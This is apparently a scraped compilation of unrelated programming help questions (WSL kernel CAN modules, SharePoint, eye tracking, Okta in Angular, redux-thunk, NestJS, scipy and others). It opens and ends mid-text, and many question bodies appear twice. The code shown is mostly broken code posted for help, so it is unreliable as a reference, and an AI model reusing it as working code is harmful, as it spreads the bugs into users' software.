cat /proc/config.gz | gunzip > .config

blow codes maybe the order is wrong, but I tried it twice so all module files installed

make prepare modules_prepare -j $(expr $(nproc) - 1)
gedit ./Microsoft/config-wsl // gedit is editting program

In wsl-config copy and pasted blow code.

# config-wsl
CONFIG_CC_CAN_LINK=y
CONFIG_CC_CAN_LINK_STATIC=y

# CONFIG_HAMRADIO is not set
CONFIG_CAN=m
CONFIG_CAN_RAW=m
CONFIG_CAN_BCM=m
CONFIG_CAN_GW=m
CONFIG_CAN_J1939=m
CONFIG_CAN_ISOTP=m

# CAN Device Drivers
CONFIG_CAN_VCAN=m
CONFIG_CAN_VXCAN=m
CONFIG_CAN_SLCAN=m
CONFIG_CAN_DEV=m
CONFIG_CAN_CALC_BITTIMING=y
CONFIG_CAN_KVASER_PCIEFD=m
CONFIG_CAN_C_CAN=m
# CONFIG_CAN_C_CAN_PLATFORM is not set
    # CONFIG_CAN_C_CAN_PCI is not set
CONFIG_CAN_CC770=m
# CONFIG_CAN_CC770_ISA is not set
# CONFIG_CAN_CC770_PLATFORM is not set
CONFIG_CAN_IFI_CANFD=m
CONFIG_CAN_M_CAN=m
# CONFIG_CAN_M_CAN_PCI is not set
# CONFIG_CAN_M_CAN_PLATFORM is not set
CONFIG_CAN_PEAK_PCIEFD=m
CONFIG_CAN_SJA1000=m
# CONFIG_CAN_EMS_PCI is not set
# CONFIG_CAN_EMS_PCMCIA is not set
# CONFIG_CAN_F81601 is not set
# CONFIG_CAN_KVASER_PCI is not set
# CONFIG_CAN_PEAK_PCI is not set
# CONFIG_CAN_PEAK_PCMCIA is not set
# CONFIG_CAN_PLX_PCI is not set
# CONFIG_CAN_SJA1000_ISA is not set
# CONFIG_CAN_SJA1000_PLATFORM is not set
CONFIG_CAN_SOFTING=m
CONFIG_CAN_SOFTING_CS=m

# CAN USB interfaces
CONFIG_CAN_8DEV_USB=m
CONFIG_CAN_EMS_USB=m
CONFIG_CAN_ESD_USB2=m
CONFIG_CAN_ETAS_ES58X=m
CONFIG_CAN_GS_USB=m
CONFIG_CAN_KVASER_USB=m
CONFIG_CAN_MCBA_USB=m
CONFIG_CAN_PEAK_USB=m
CONFIG_CAN_UCAN=m
# end of CAN USB interfaces

CONFIG_CAN_DEBUG_DEVICES=y
# end of CAN Device Drivers

make modules -j $(expr $(nproc) - 1)
make modules_install
cp arch/x86/boot/bzImage /mnt/c/Users/<username>/
sudo modprobe can

and then error message come out....


问:
To get full stack trace from Method profiling
I have been poking the AZUL JFR profiler to see gaps in my system. But i am not able to get full trace of the call being made.

Now since the trace is only till HashMap, how can i get which method is calling it ?


问:
want to update count field of the sharepoint document library for the selected checkbox in gridview
I added a checkbox in gridview.That gridview shows data of sharepoint picture library like photographer name, caption, image name ,type.
There is another column in library which is count.
now i want to update column field after selection of checkbox and click on vote button.
please suggest the solution?</p>

```<code> Using site As SPSite = New SPSite("http://tcs393316:12345")
Dim web As SPWeb = SPContext.Current.Web
            Dim docLib As SPDocumentLibrary = CType(web.Lists("MyPortalImageLibrary"), SPDocumentLibrary)
            Dim items As SPListItemCollection = docLib.Items        Dim item As SPListItem
            Dim dt As DataTable = New DataTable()
            dt.Columns.Add(New DataColumn("Type", GetType(String)))
            dt.Columns.Add(New DataColumn("Name", GetType(String)))
            dt.Columns.Add(New DataColumn("PhotoGrapherName", GetType(String)))
            dt.Columns.Add(New DataColumn("Caption", GetType(String)))
            dt.Columns.Add(New DataColumn("Count", GetType(Int32)))        Dim dr As DataRow For Each item In items
                dr = dt.NewRow()        dr("Type") = item("Type").ToString()
                dr("Name") = item("Name").ToString()
                dr("PhotoGrapherName") = item("PhotoGrapherName").ToString()
                dr("Caption") = item("Caption").ToString()        dr("Count") = item("Count").ToString()
                dt.Rows.Add(dr)
            Next
            Dim image As ImageField = New ImageField
            image.DataImageUrlField = "Name"
            image.HeaderText = "Image"
            GridView1.Columns.Add(image)
            GridView1.DataSource = dt
            GridView1.DataBind()
        End Using
</code>```

ContentLicense: CC BY-SA 3.0

Body:
I added a checkbox in gridview.That gridview shows data of sharepoint picture library like photographer name, caption, image name ,type.
There is another column in library which is count.
now i want to update column field after selection of checkbox and click on vote button.
please suggest the solution?

 Using site As SPSite = New SPSite("http://tcs393316:12345")
Dim web As SPWeb = SPContext.Current.Web
            Dim docLib As SPDocumentLibrary = CType(web.Lists("MyPortalImageLibrary"), SPDocumentLibrary)
            Dim items As SPListItemCollection = docLib.Items        Dim item As SPListItem
            Dim dt As DataTable = New DataTable()
            dt.Columns.Add(New DataColumn("Type", GetType(String)))
            dt.Columns.Add(New DataColumn("Name", GetType(String)))
            dt.Columns.Add(New DataColumn("PhotoGrapherName", GetType(String)))
            dt.Columns.Add(New DataColumn("Caption", GetType(String)))
            dt.Columns.Add(New DataColumn("Count", GetType(Int32)))        Dim dr As DataRow For Each item In items
                dr = dt.NewRow()        dr("Type") = item("Type").ToString()
                dr("Name") = item("Name").ToString()
                dr("PhotoGrapherName") = item("PhotoGrapherName").ToString()
                dr("Caption") = item("Caption").ToString()        dr("Count") = item("Count").ToString()
                dt.Rows.Add(dr)
            Next
            Dim image As ImageField = New ImageField
            image.DataImageUrlField = "Name"
            image.HeaderText = "Image"
            GridView1.Columns.Add(image)
            GridView1.DataSource = dt
            GridView1.DataBind()
        End Using


问:
Showing Activity in Widget on minimise
Is there any possibility of showing activity in widget when app is in background?. As I'm creating a video call application,it is a must have feature.Please suggest me with some good approach.

Currently I'm not pausing camera when application is minimised.

Title: Showing Activity in Widget on minimise


问:
If-elif-else code after another If-elif-else code isn't being run
I'm writing a "Sleep Monitoring" software that checks if one's eyes are open/closed. The conditions are as follows:

Program displays the results (e.g. eyes open/close) for the first frame, then displays notifications for the succeeding frames only if there are changes in eye status.

If eyes are opened, program sends a message "Client is Awake"; if not, the program does nothing unless the eyes have been closed for 10 seconds, in which case, the program sends message "Client is Sleeping".

The code for the tracking is as follows (to avoid confusion, please focus on the if-elif-else conditions only):

```<code>def eye_aspect_ratio(self, eye): #function to get eye aspect ratio

    a = dist.euclidean(eye[1], eye[5])
    b = dist.euclidean(eye[2], eye[4])

    c = dist.euclidean(eye[0], eye[3])

    ear = (a + b) / (2.0 * c)

    return ear

def startstream2(self): #function for tracking software

    try:

        self.temp = ""
        self.result = ""

        counter = 0

        self.vs.start() #self.vs = VideoStream(src = 0)

        EYE_AR_THRESH = 0.35

        # initialize dlib's face detector (HOG-based) and then create
        # the facial landmark predictor

        print("[INFO] loading facial landmark predictor...")

        detector = dlib.get_frontal_face_detector()
        predictor = dlib.shape_predictor("shape_predictor_68_face_landmarks.dat")

        # grab the indexes of the facial landmarks for the left and
        # right eye, respectively
        (lStart, lEnd) = face_utils.FACIAL_LANDMARKS_IDXS["left_eye"]
        (rStart, rEnd) = face_utils.FACIAL_LANDMARKS_IDXS["right_eye"]

        while not self.flag.is_set(): #self.flag = Event()

            frame = self.vs.read()

            if frame.size == 0: #check if frame is null

                print ("No Face Detected")

                return

            else:

                frame = imutils.resize(frame, width = 1080 )
                gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)

                # detect faces in the grayscale frame
                rects = detector(gray, 0)

                # loop over the face detections
                for rect in rects:
                    # determine the facial landmarks for the face region, then
                    # convert the facial landmark (x, y)-coordinates to a NumPy
                    # array
                    shape = predictor(gray, rect)
                    shape = face_utils.shape_to_np(shape)

                    # extract the left and right eye coordinates, then use the
                    # coordinates to compute the eye aspect ratio for both eyes
                    leftEye = shape[lStart:lEnd]
                    rightEye = shape[rStart:rEnd]

                    leftEAR = self.eye_aspect_ratio(leftEye)
                    rightEAR = self.eye_aspect_ratio(rightEye)

                    # average the eye aspect ratio together for both eyes
                    ear = (leftEAR + rightEAR)

                    # compute the convex hull for the left and right eye, then
                    # visualize each of the eyes
                    leftEyeHull = cv2.convexHull(leftEye)
                    rightEyeHull = cv2.convexHull(rightEye)
                    cv2.drawContours(frame, [leftEyeHull], -1, (0, 255, 0), 1)
                    cv2.drawContours(frame, [rightEyeHull], -1, (0, 255, 0), 1)

                    if self.result == "" or self.result.isspace(): #check if self.result value is null; if yes that means this is the first frame

                        # check to see if the eye aspect ratio is below the blink threshold

                        if ear < EYE_AR_THRESH: #means eyes are closed

                            self.result = "CLOSED:"

                            print ("First frame, eyes are closed")

                        elif ear > EYE_AR_THRESH:

                            print ("First frame, Eyes open")

                            self.result = "AWAKE:"

                        else:

                            continue

                    else:

                        if ear < EYE_AR_THRESH:

                            self.temp = "CLOSED:"

                        elif ear > EYE_AR_THRESH:

                            self.temp = "AWAKE:"

                        else:

                            continue

                        print ("TEMP VALUE IS: " + self.temp) #for checking

                        if self.temp != self.result and self.temp == "AWAKE:": #if current frame and previous frame are not the same, and current frame == "AWAKE:", this means in the previous frame eyes were closed and the client has just opened their eyes

                            print ("SELF.RESULT BEFORE: " + self.result) #for checking

                            self.result = self.temp #value of current frame becomes value of previous frame

                            print ("SELF.RESULT AFTER: " + self.result) #for checking
                            print ("Client is Awake")
                            counter = 0

                        elif self.temp == self.result and self.temp == "CLOSED:": #if current frame has the same value as the previous frame, and current frame == CLOSED:, that means the client has been closing their eyes consecutively

                            if counter != 10:

                                time.sleep(1) #1 frame = 1 second

                                counter += 1

                                print ("SELF.RESULT BEFORE: " + self.result) #for checking

                                self.result = self.temp #value of current frame becomes value of previous frame

                                print ("SELF.RESULT AFTER: " + self.result)

                                print ("Counter added " + str(counter))

                            else:

                                print ("Client is Sleeping")

                                counter = 0

                                print ("COUNTER = 0") #for checking

                                print ("SELF.RESULT BEFORE: " + self.result) #for checking

                                self.result = self.temp #value of current frame becomes value of previous frame

                                print ("SELF.RESULT AFTER: " + self.result) #for checking

                        else:

                            continue

        else:

            print ("Inside destroy")

            self.vs.stop()

            self.result = ""

            self.temp = ""

            return

    except Exception as e:

            print ("No Face Detected")

            print (traceback.format_exc())
</code>```

The problem comes when there are changes in the eye status. Assuming the client has closed their eyes for 2 seconds, then opens them, the output should be as follows:

EXPECTATION

```<code>[INFO] loading facial landmark predictor...
First frame, eyes are closed
TEMP VALUE IS: CLOSED:
SELF.RESULT BEFORE: CLOSED:
SELF.RESULT AFTER: CLOSED:
Counter added 1
TEMP VALUE IS: AWAKE:
SELF.RESULT BEFORE: CLOSED:
SELF.RESULT AFTER: AWAKE:
Client is Awake
</code>```

REALITY

```<code>[INFO] loading facial landmark predictor...
First frame, eyes are closed
TEMP VALUE IS: CLOSED:
TEMP VALUE IS: AWAKE:
</code>```

For some reason, the if-elif-else statements after the line print ("TEMP VALUE IS: " + self.temp) isn't being run. I've tried commenting out the aforementioned line, reloading the VS Code editor, checked for missing indentations, and put the not running if-elif-else statements in a different function and did

```<code>print ("TEMP VALUE IS: " + self.temp)
self.runfunction()
</code>```

but it didn't work as well. Any help/advice is appreciated.

Body:
I'm writing a "Sleep Monitoring" software that checks if one's eyes are open/closed. The conditions are as follows:

Program displays the results (e.g. eyes open/close) for the first frame, then displays notifications for the succeeding frames only if there are changes in eye status.

If eyes are opened, program sends a message "Client is Awake"; if not, the program does nothing unless the eyes have been closed for 10 seconds, in which case, the program sends message "Client is Sleeping".

The code for the tracking is as follows (to avoid confusion, please focus on the if-elif-else conditions only):

def eye_aspect_ratio(self, eye): #function to get eye aspect ratio

    a = dist.euclidean(eye[1], eye[5])
    b = dist.euclidean(eye[2], eye[4])

    c = dist.euclidean(eye[0], eye[3])

    ear = (a + b) / (2.0 * c)

    return ear

def startstream2(self): #function for tracking software

    try:

        self.temp = ""
        self.result = ""

        counter = 0

        self.vs.start() #self.vs = VideoStream(src = 0)

        EYE_AR_THRESH = 0.35

        # initialize dlib's face detector (HOG-based) and then create
        # the facial landmark predictor

        print("[INFO] loading facial landmark predictor...")

        detector = dlib.get_frontal_face_detector()
        predictor = dlib.shape_predictor("shape_predictor_68_face_landmarks.dat")

        # grab the indexes of the facial landmarks for the left and
        # right eye, respectively
        (lStart, lEnd) = face_utils.FACIAL_LANDMARKS_IDXS["left_eye"]
        (rStart, rEnd) = face_utils.FACIAL_LANDMARKS_IDXS["right_eye"]

        while not self.flag.is_set(): #self.flag = Event()

            frame = self.vs.read()

            if frame.size == 0: #check if frame is null

                print ("No Face Detected")

                return

            else:

                frame = imutils.resize(frame, width = 1080 )
                gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)

                # detect faces in the grayscale frame
                rects = detector(gray, 0)

                # loop over the face detections
                for rect in rects:
                    # determine the facial landmarks for the face region, then
                    # convert the facial landmark (x, y)-coordinates to a NumPy
                    # array
                    shape = predictor(gray, rect)
                    shape = face_utils.shape_to_np(shape)

                    # extract the left and right eye coordinates, then use the
                    # coordinates to compute the eye aspect ratio for both eyes
                    leftEye = shape[lStart:lEnd]
                    rightEye = shape[rStart:rEnd]

                    leftEAR = self.eye_aspect_ratio(leftEye)
                    rightEAR = self.eye_aspect_ratio(rightEye)

                    # average the eye aspect ratio together for both eyes
                    ear = (leftEAR + rightEAR)

                    # compute the convex hull for the left and right eye, then
                    # visualize each of the eyes
                    leftEyeHull = cv2.convexHull(leftEye)
                    rightEyeHull = cv2.convexHull(rightEye)
                    cv2.drawContours(frame, [leftEyeHull], -1, (0, 255, 0), 1)
                    cv2.drawContours(frame, [rightEyeHull], -1, (0, 255, 0), 1)

                    if self.result == "" or self.result.isspace(): #check if self.result value is null; if yes that means this is the first frame

                        # check to see if the eye aspect ratio is below the blink threshold

                        if ear < EYE_AR_THRESH: #means eyes are closed

                            self.result = "CLOSED:"

                            print ("First frame, eyes are closed")

                        elif ear > EYE_AR_THRESH:

                            print ("First frame, Eyes open")

                            self.result = "AWAKE:"

                        else:

                            continue

                    else:

                        if ear < EYE_AR_THRESH:

                            self.temp = "CLOSED:"

                        elif ear > EYE_AR_THRESH:

                            self.temp = "AWAKE:"

                        else:

                            continue

                        print ("TEMP VALUE IS: " + self.temp) #for checking

                        if self.temp != self.result and self.temp == "AWAKE:": #if current frame and previous frame are not the same, and current frame == "AWAKE:", this means in the previous frame eyes were closed and the client has just opened their eyes

                            print ("SELF.RESULT BEFORE: " + self.result) #for checking

                            self.result = self.temp #value of current frame becomes value of previous frame

                            print ("SELF.RESULT AFTER: " + self.result) #for checking
                            print ("Client is Awake")
                            counter = 0

                        elif self.temp == self.result and self.temp == "CLOSED:": #if current frame has the same value as the previous frame, and current frame == CLOSED:, that means the client has been closing their eyes consecutively

                            if counter != 10:

                                time.sleep(1) #1 frame = 1 second

                                counter += 1

                                print ("SELF.RESULT BEFORE: " + self.result) #for checking

                                self.result = self.temp #value of current frame becomes value of previous frame

                                print ("SELF.RESULT AFTER: " + self.result)

                                print ("Counter added " + str(counter))

                            else:

                                print ("Client is Sleeping")

                                counter = 0

                                print ("COUNTER = 0") #for checking

                                print ("SELF.RESULT BEFORE: " + self.result) #for checking

                                self.result = self.temp #value of current frame becomes value of previous frame

                                print ("SELF.RESULT AFTER: " + self.result) #for checking

                        else:

                            continue

        else:

            print ("Inside destroy")

            self.vs.stop()

            self.result = ""

            self.temp = ""

            return

    except Exception as e:

            print ("No Face Detected")

            print (traceback.format_exc())

The problem comes when there are changes in the eye status. Assuming the client has closed their eyes for 2 seconds, then opens them, the output should be as follows:

EXPECTATION

[INFO] loading facial landmark predictor...
First frame, eyes are closed
TEMP VALUE IS: CLOSED:
SELF.RESULT BEFORE: CLOSED:
SELF.RESULT AFTER: CLOSED:
Counter added 1
TEMP VALUE IS: AWAKE:
SELF.RESULT BEFORE: CLOSED:
SELF.RESULT AFTER: AWAKE:
Client is Awake

REALITY

[INFO] loading facial landmark predictor...
First frame, eyes are closed
TEMP VALUE IS: CLOSED:
TEMP VALUE IS: AWAKE:

For some reason, the if-elif-else statements after the line print ("TEMP VALUE IS: " + self.temp) isn't being run. I've tried commenting out the aforementioned line, reloading the VS Code editor, checked for missing indentations, and put the not running if-elif-else statements in a different function and did

print ("TEMP VALUE IS: " + self.temp)
self.runfunction()

but it didn't work as well. Any help/advice is appreciated.


问:
The way to add "A extension on the private server" into "extensionPack/extensionDependencies"
About VS CODE Extension Development,

I've been working for publishing some extensions on the private server for my co-workers.
Currently some dependent extensions("B,C and D") are required to install automatically when someone installs "A" extension.

FYI,
"A" extension : on the private server.
"B" extension : on the private server.
"C" extension : on the private server.
"D" extension : on the vscode Marketplace.
I found a way to add them("B,C and D") as values of "extensionPack/extensionDependencies" to the package.json of "A".
https://code.visualstudio.com/api/references/extension-manifest#extension-packs

But only "D" worked as I expected. (When I install "A", only "D" was installed automatically.)
Is there any way to install "B","C" bundled with "A"?
Only "extension ID" should be input for the values of "extensionPack/extensionDependencies"?

"Local path or ${privateHostUrl}/B.vsix" are not available instead of "extension ID"?

I hope I could find a good way to bundle a specific extension which is located in the private server too...
Thanks in advance.


问:
Creating a new dataframe column based on the values in another column of the dataframe
I am analysing a dataset containing steps taking during walkouts. I have information on the particular week of the year each walkout occurred. But I want to add the location of the walkout. For instance, if the week of the year is 30, then the walkout occurred in Ilorin, if it is 32, then the walkout occurred in osogbo.

I tried using the apply function.
To do this, I created a list containing the week numbers, then I defined a function to check if the column value is in that list. If yes, the function should return 'Ilorin', and if no, the function should return 'osogbo'.

The resulting column showed all values to be osogbo and none was Ilorin.


问:
ValueError: could not broadcast input array from shape (128,128) into shape (128,128,1)
For segmentation using UNet, I want to convert my mask dimensions from (128 x 128) to (128 x 128 x 1) as required by the model, but I am getting error "ValueError: could not broadcast input array from shape (128,128) into shape (128,128,1)"
In First Step: Images are properly resized from (434 x 362)/L channel to (128 x 128) and dataset is clean (no irregular dimension).

This line "Y_train[n] = image" is giving the error.

I am using following code for images resize.

```<code>for filename in glob.glob(csf_path):
   img = Image.open(filename)
   csfimage_list.append(img)

Y_train = np.zeros((len(csfimage_list), 128, 128, 1), dtype=np.bool)
for (n, image) in tqdm(enumerate(csfimage_list)):
   image = image.resize((128, 128))
   Y_train[n] = image
   csfresized_images.append(image)
.............................................................
Also tried to add a dimension using "tf.expand_dims(image, 1).shape" but nothing worked.
Can you please give suggestions,
Thank you
</code>```

Body:
For segmentation using UNet, I want to convert my mask dimensions from (128 x 128) to (128 x 128 x 1) as required by the model, but I am getting error "ValueError: could not broadcast input array from shape (128,128) into shape (128,128,1)"
In First Step: Images are properly resized from (434 x 362)/L channel to (128 x 128) and dataset is clean (no irregular dimension).

This line "Y_train[n] = image" is giving the error.

I am using following code for images resize.

for filename in glob.glob(csf_path):
   img = Image.open(filename)
   csfimage_list.append(img)

Y_train = np.zeros((len(csfimage_list), 128, 128, 1), dtype=np.bool)
for (n, image) in tqdm(enumerate(csfimage_list)):
   image = image.resize((128, 128))
   Y_train[n] = image
   csfresized_images.append(image)
.............................................................
Also tried to add a dimension using "tf.expand_dims(image, 1).shape" but nothing worked.
Can you please give suggestions,
Thank you


问:
OKTA security for angular V15
I'm a beginner in developement. I'm trying to build my own site e-commerce to exercise.
It will be more than 3 days since I'm stuck with this bug.

```<code>export class LoginComponent implements OnInit {

  oktaSignin: any;
  constructor(private oktaAuthService: OktaAuthService) {
    this.oktaSignin = new OktaSignIn({
      logo: 'assets/images/logo.png',
      baseUrl: myAppConfig.oidc.issuer.split('/oauth2')[0],
      clientId: myAppConfig.oidc.clientId,
      redirectUri: myAppConfig.oidc.redirectUri,
      authParams: {
        pkce: true,
        issuer: myAppConfig.oidc.issuer,
        scopes: myAppConfig.oidc.scopes

      }

    });

  }
  ngOnInit(): void {
    this.oktaSignin.remove();

    this.oktaSignin.renderEl({
        el: '#okta-sign-in-widget'
      },
      (response: any) => {
        if (response.status === 'SUCCES') {
          this.oktaAuthService.signInWithRedirect();
        }
      },
      (error: any) => {
        throw error;
      }

    )
  }
}
</code>```
```<code>export class LoginStatusComponent implements OnInit {
  isAuthenticated: boolean = false;
  userFullName!: string;

  constructor(private oktaAuthService: OktaAuthService) {}
  ngOnInit(): void {
    this.oktaAuthService.$authenticationState.subscribe(
      (result) => {
        this.isAuthenticated = result;
        this.getUserDetails();
      }
    )
  }
  getUserDetails() {
    if (this.isAuthenticated) {
      this.oktaAuthService.getUser().then(
        (res: any) => {
          this.userFullName = res.name;
        }
      )
    }
  }

  logout() {
    this.oktaAuthService.signOut();
  }
}
</code>```

HTML Login Status-

```<code>
<div class="login-status-header">
  <div *ngIf="isAuthenticated && userFullName" class="login-status-user-info">
    Welcome Back {{userFullName}}
  </div>
  <button *ngIf="!isAuthenticated" routerLink="/login" class="security-btn" >Login</button>
  <button *ngIf="isAuthenticated" (click)="logout()" routerLink="/login" class="security-btn" >Logout</button>
</div>
</code>```

My config:

```<code>export default {
  oidc: {
    clientId: '0oa7taky6jKrscA5u5d7',
    issuer: 'https://dev-43419228.okta.com/oauth2/default',
    redirectUri: 'http:localhost:4200/login/callback',
    scopes: ['openid', 'profile', 'email']
  }
}
</code>```

app module-

```<code>const oktaConfig = Object.assign({
  onAuthRequired: (injector: any) => {
    const router = injector.get(Router)

    router.navigate(['/login']);
  }
}, myAppConfig.oidc)

const routes: Routes = [{
    path: 'login/callback',
    component: OktaCallbackComponent
  },
  {
    path: 'login',
    component: LoginComponent
  },
  {
    path: 'checkout',
    component: CheckoutComponent
  },
  {
    path: 'cart-details',
    component: CartDetailsComponent
  },
  {
    path: 'products/:id',
    component: ProductDetailsComponent
  },
  {
    path: 'search/:keyword',
    component: ProductListComponent
  },
  {
    path: 'category/:id',
    component: ProductListComponent
  },
  {
    path: 'category',
    component: ProductListComponent
  },
  {
    path: 'products/list',
    component: ProductListComponent
  },

  {
    path: '',
    redirectTo: '/products',
    pathMatch: 'full'
  },
  {
    path: '**',
    redirectTo: '/products',
    pathMatch: 'full'
  }

]
@NgModule({
  declarations: [
    AppComponent,
    ProductListComponent,
    ProductCategoryMenuComponent,
    SearchComponent,
    ProductDetailsComponent,
    CartStatusComponent,
    CartDetailsComponent,
    CheckoutComponent,
    LoginComponent,
    LoginStatusComponent
  ],
  providers: [ProductService, {
    provide: OKTA_CONFIG,
    useValue: {
      oktaConfig
    }
  }],
  bootstrap: [AppComponent],
  imports: [
    BrowserModule,
    AppRoutingModule,
    HttpClientModule,
    RouterModule.forRoot(routes),
    NgbModule,
    ReactiveFormsModule,
    OktaAuthModule

  ]
})
export class AppModule {}
</code>```

Finally the problem

I tried to create a new account in okta, but the problem is I don't have any issue with the problem that's why I am stuck.

I'm expecting help or another technology to replace Okta :).

Title: OKTA security for angular V15

Body:
I'm a beginner in developement. I'm trying to build my own site e-commerce to exercise.
It will be more than 3 days since I'm stuck with this bug.

export class LoginComponent implements OnInit {

  oktaSignin: any;
  constructor(private oktaAuthService: OktaAuthService) {
    this.oktaSignin = new OktaSignIn({
      logo: 'assets/images/logo.png',
      baseUrl: myAppConfig.oidc.issuer.split('/oauth2')[0],
      clientId: myAppConfig.oidc.clientId,
      redirectUri: myAppConfig.oidc.redirectUri,
      authParams: {
        pkce: true,
        issuer: myAppConfig.oidc.issuer,
        scopes: myAppConfig.oidc.scopes

      }

    });

  }
  ngOnInit(): void {
    this.oktaSignin.remove();

    this.oktaSignin.renderEl({
        el: '#okta-sign-in-widget'
      },
      (response: any) => {
        if (response.status === 'SUCCES') {
          this.oktaAuthService.signInWithRedirect();
        }
      },
      (error: any) => {
        throw error;
      }

    )
  }
}

export class LoginStatusComponent implements OnInit {
  isAuthenticated: boolean = false;
  userFullName!: string;

  constructor(private oktaAuthService: OktaAuthService) {}
  ngOnInit(): void {
    this.oktaAuthService.$authenticationState.subscribe(
      (result) => {
        this.isAuthenticated = result;
        this.getUserDetails();
      }
    )
  }
  getUserDetails() {
    if (this.isAuthenticated) {
      this.oktaAuthService.getUser().then(
        (res: any) => {
          this.userFullName = res.name;
        }
      )
    }
  }

  logout() {
    this.oktaAuthService.signOut();
  }
}

HTML Login Status-

    Welcome Back {{userFullName}}

  <button *ngIf="!isAuthenticated" routerLink="/login" class="security-btn" >Login</button>
  <button *ngIf="isAuthenticated" (click)="logout()" routerLink="/login" class="security-btn" >Logout</button>

My config:

export default {
  oidc: {
    clientId: '0oa7taky6jKrscA5u5d7',
    issuer: 'https://dev-43419228.okta.com/oauth2/default',
    redirectUri: 'http:localhost:4200/login/callback',
    scopes: ['openid', 'profile', 'email']
  }
}

app module-

const oktaConfig = Object.assign({
  onAuthRequired: (injector: any) => {
    const router = injector.get(Router)

    router.navigate(['/login']);
  }
}, myAppConfig.oidc)

const routes: Routes = [{
    path: 'login/callback',
    component: OktaCallbackComponent
  },
  {
    path: 'login',
    component: LoginComponent
  },
  {
    path: 'checkout',
    component: CheckoutComponent
  },
  {
    path: 'cart-details',
    component: CartDetailsComponent
  },
  {
    path: 'products/:id',
    component: ProductDetailsComponent
  },
  {
    path: 'search/:keyword',
    component: ProductListComponent
  },
  {
    path: 'category/:id',
    component: ProductListComponent
  },
  {
    path: 'category',
    component: ProductListComponent
  },
  {
    path: 'products/list',
    component: ProductListComponent
  },

  {
    path: '',
    redirectTo: '/products',
    pathMatch: 'full'
  },
  {
    path: '**',
    redirectTo: '/products',
    pathMatch: 'full'
  }

]
@NgModule({
  declarations: [
    AppComponent,
    ProductListComponent,
    ProductCategoryMenuComponent,
    SearchComponent,
    ProductDetailsComponent,
    CartStatusComponent,
    CartDetailsComponent,
    CheckoutComponent,
    LoginComponent,
    LoginStatusComponent
  ],
  providers: [ProductService, {
    provide: OKTA_CONFIG,
    useValue: {
      oktaConfig
    }
  }],
  bootstrap: [AppComponent],
  imports: [
    BrowserModule,
    AppRoutingModule,
    HttpClientModule,
    RouterModule.forRoot(routes),
    NgbModule,
    ReactiveFormsModule,
    OktaAuthModule

  ]
})
export class AppModule {}

Finally the problem

I tried to create a new account in okta, but the problem is I don't have any issue with the problem that's why I am stuck.

I'm expecting help or another technology to replace Okta :).


问:
What is causing the TypeError: middleware is not a function error when using redux-thunk?
I need to use the redux-thunk middleware, but when I pass it as argument to applyMiddleware function it's showing the following error:

```<code>return middleware(middlewareAPI);
               ^

TypeError: middleware is not a function
</code>```

This is my code snippet for using thunk:

```<code>import { createStore, applyMiddleware } from 'redux'
import thunk from 'redux-thunk'
import reducer from "./reducers.js";

const store = createStore(reducer, applyMiddleware(thunk))
</code>```

What is the problem causing this error?

Body:
I need to use the redux-thunk middleware, but when I pass it as argument to applyMiddleware function it's showing the following error:

return middleware(middlewareAPI);
               ^

TypeError: middleware is not a function

This is my code snippet for using thunk:

import { createStore, applyMiddleware } from 'redux'
import thunk from 'redux-thunk'
import reducer from "./reducers.js";

const store = createStore(reducer, applyMiddleware(thunk))

What is the problem causing this error?


问:
Next.js scss undefined mixin
I have been building a project with React and using scss.

Now I want to migrate my scss files from my React app into Next.js

Here is a photo of my Next.js file structure

I am attempting to import my scss into the _app.js so its available to the entire app

Here is my _app.js

Here is a photo of my '../assets/img/scss/theme.scss' file

Now in the _app.js file the import 'bootstrap/dist/css/bootstrap.css' if working for the app but when I add the import '../assets/img/scss/theme.scss' I get an error for undefined mixins. Am I missing some sort of bootstrap import?

Title: Next.js scss undefined mixin


问:
NestJs: [ExceptionHandler] The "path" argument must be of type string. Received undefined
I have NestJs api server project.
It runs without any issue on MacOs.
When I run on Windows I got this error message:

```<code> [ExceptionHandler] The "path" argument must be of type string. Received undefined
TypeError: The "path" argument must be of type string. Received undefined
    at new NodeError (node:internal/errors:387:5)
    at validateString (node:internal/validators:162:11)
    at Object.join (node:path:429:7)
    at InstanceWrapper.useFactory [as metatype] (C:\Users\USER\Documents\POS\a-phin-pos-api-server\src\app.module.ts:57:21)
</code>```

I uploaded the project to Github via this link https://github.com/kruyvanna/NestJs-pos-api

Thank you in advance

Body:
I have NestJs api server project.
It runs without any issue on MacOs.
When I run on Windows I got this error message:

 [ExceptionHandler] The "path" argument must be of type string. Received undefined
TypeError: The "path" argument must be of type string. Received undefined
    at new NodeError (node:internal/errors:387:5)
    at validateString (node:internal/validators:162:11)
    at Object.join (node:path:429:7)
    at InstanceWrapper.useFactory [as metatype] (C:\Users\USER\Documents\POS\a-phin-pos-api-server\src\app.module.ts:57:21)

I uploaded the project to Github via this link https://github.com/kruyvanna/NestJs-pos-api

Thank you in advance


问:
Ingress blocking request body when getting request from behind server, but body present when sent by postman
I have a simple express service whose controller parses a request and processes it. When a request is sent via postman everything works fine.

But, if the api request is sent from a proxy I recieve the request, but, don't get the request body.

My configuration is such that, api requests are being redirected by ingress controller to a kubernetes cluster. We have only one pod at this point.

If More info is needed , please let me know. This is my ingress annotation config details.

```<code>nginx.ingress.kubernetes.io/proxy-body-size: 200m
nginx.org/client-max-body-size: 200m
nginx.org/proxy-body-size: 200m
nginx.org/websocket-service: factoreal-websocket
prometheus.io/port: 10254
prometheus.io/scrape: true
</code>```

We expect the request to contain the full body. But, the body is missing for requests coming from external servers which are typically behind proxies.

Body:
I have a simple express service whose controller parses a request and processes it. When a request is sent via postman everything works fine.

But, if the api request is sent from a proxy I recieve the request, but, don't get the request body.

My configuration is such that, api requests are being redirected by ingress controller to a kubernetes cluster. We have only one pod at this point.

If More info is needed , please let me know. This is my ingress annotation config details.

nginx.ingress.kubernetes.io/proxy-body-size: 200m
nginx.org/client-max-body-size: 200m
nginx.org/proxy-body-size: 200m
nginx.org/websocket-service: factoreal-websocket
prometheus.io/port: 10254
prometheus.io/scrape: true

We expect the request to contain the full body. But, the body is missing for requests coming from external servers which are typically behind proxies.


问:
scipy's pdist(X, metric='dice') VS scipy.spatial.distance.dice() produce different results
can anyone explain why these produce different results? I cant find anything in the docs that suggest why they would be different.

doc for pdist

```<code>from scipy.spatial.distance import pdist

X = [[1, 0, 0], [0, 1, 0]]
tmp1 = pdist(X, metric='dice')
print(tmp1)
# [1.]
X = [[1, 0, 0], [1, 1, 0]]
tmp1 = pdist(X, metric='dice')
print(tmp1)
# [0.33333333]
X = [[1, 0, 0], [2, 0, 0]]
